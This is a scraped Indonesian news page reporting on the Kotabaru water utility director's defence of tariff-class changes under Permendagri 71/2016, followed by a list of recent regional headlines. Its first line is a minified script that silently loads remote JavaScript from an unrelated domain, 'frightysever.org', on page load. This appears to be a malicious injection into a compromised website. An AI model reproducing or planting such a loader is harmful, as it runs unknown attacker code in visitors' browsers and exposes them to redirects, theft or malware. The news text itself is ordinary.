(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Direktur PDAM : Perubahan Golongan Tentu Ada Indikatornya


KOTABARU,  Protes sejumlah kalangan tas perubahan tarif pelanggan Perusahaan Daerah Air Minum (PDAM), mendapat tanggapan dari Direktur PDAM Kotabaru, Noor Ipansyah SH MH. Menurutnya, langkah yang dilakuakn sudah sesuai aturan yang berlaku.

Dijelaskan Noor Ipansyah, ada beberapa tuntutan yang ditujukan kepada pihaknya dan 2 di antaranya adalah adanya perubahan tarif golongan dan permintaan penghapusan denda. Namun menurutnya, di dalam Permendagri RI nomor 71 tahun 2016 tentang perhitungan dan penetapan tarif air minum sudah jelas disebutkan dalam pasal per pasal.

“Iya kalau terkait dengan pelayanan kepada pelanggan karena air masih belum bersih tapi itu masih dalam tahap pembenahan yang saat ini masih dilakukan. Akan tetapi, kalau sudah yang dibahas mengenai penetapan tarif air apalagi yang menyangkut regulasi tentunya ada aturannya seperti Permendagri 71 tersebut,” terangnya.

Disambungnya, menurutnya kalau berkenaan dengan perubahan golongan tarif pastinya dilihat berdasarkan indikator misalkan dilihat dari ukuran luas bangunan, luas tanah, lebar jalan, lingkungannya tertata baik dan tidak kumuh dan tidak mengukur pendapatan. Tidak mengacu pada berapa besar pendapatan orang tersebut.

“Ketika mereka bicara tentang keadilan tidak bisa hanya mengacu pada Pasal 33 ayat 3 UUD 1945. Akan tetapi, harus melihat dari aturan pendukung lainnya seperti masalah yang sekarang dan telah ada Permendagri 71 tahun 2016 yang mengaturnya,” tambahnya.

Satu hal, katanya melanjutkan, berdasarkan peraturan tersebut yang apabila daerah tidak bisa melaksanakan seperti yang telah di isyaratkan, maka didalam Permendagri nomor 70 di sebutkan bahwa daerah harus memberikan subsidi guna penyediaan air bersih kepada masyarakat.

“Intinya adalah yang namanya adil itu subsidi silang bagi orang kaya membantu orang miskin yang tentunya tidak akan sama pemakaian tarifnya, dan indikator perubahan tarif dilihat,” tambahnya.

Hal senada juga diutarakan oleh Dewan Pengawas PDAM dari kalangan pelanggan, Yudi Sunardi menyatakan, ia menilai apapun yang namanya terkait dengan pelayanan publik mesti dibicarakan dengan baik dan berdasarkan fakta dukung yang ada jangan sampai dapat menimbulkan masalah dikemudian hari.

“Menurut saya, protes kawan-kawan LSM itu baik saja kalau asal sesuai dengan fakta sebenarnya dan mesti harus benar-benar mencermati aturan yang sudah dibuat jangan sampai justru akan berbalik,” katanya.(fauzi)


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

27 menit ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

1 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

2 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

2 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

2 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

5 jam ago

This website uses cookies.